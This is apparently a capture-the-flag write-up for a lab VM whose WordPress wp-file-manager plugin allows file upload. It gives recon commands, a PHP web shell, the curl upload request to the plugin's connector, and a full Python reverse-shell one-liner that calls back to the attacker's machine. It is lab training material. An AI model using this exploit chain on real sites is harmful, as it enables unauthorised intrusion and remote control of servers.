Overview
In this Boot2Root challenge, we are given a vulnerable Virtual Machine (.ova). We set up the VM with a Bridged Adapter to place it on the same network interface as our attacker machine (Kali Linux).
Reconnaissance
First, we discover the target machine's IP address on the subnet using arp-scan:
sudo arp-scan --localnetOnce the IP is found, we scan it with Nmap to find open ports:
nmap -sC -sV <Target-IP>The scan reveals port 80 (HTTP) and 22 (SSH). Visiting the web server shows a WordPress installation running a vulnerable version of the wp-file-manager plugin.
Exploitation Strategy
The wp-file-manager plugin has a known file upload vulnerability. We write a simple PHP command shell (shell.php):
<?php system($_GET['cmd']); ?>Then we upload this payload using a curl POST request to the connector script:
curl -F "upload[]=@shell.php" -F "cmd=upload" -F "target=l1_Lw" http://<Target-IP>/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.phpWe then get execution by visiting: http://<Target-IP>/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=id.
To stabilize, we start a netcat listener nc -lvnp 4444 on Kali, and launch a Python reverse shell payload via the web shell. This drops us in a bash prompt where we read /var/www/html/flag1.txt.
Solution Code
# PHP Web Shell Payload:
<?php system($_GET['cmd']); ?>
# Reverse Shell Trigger:
curl "http://<Target-IP>/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=python3+-c+'import+socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<KALI-IP>\",4444));os.dup2(s.fileno(),0);+os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import+pty;+pty.spawn(\"/bin/bash\")'"Flag
Dynamic Flag (wp-file-manager upload)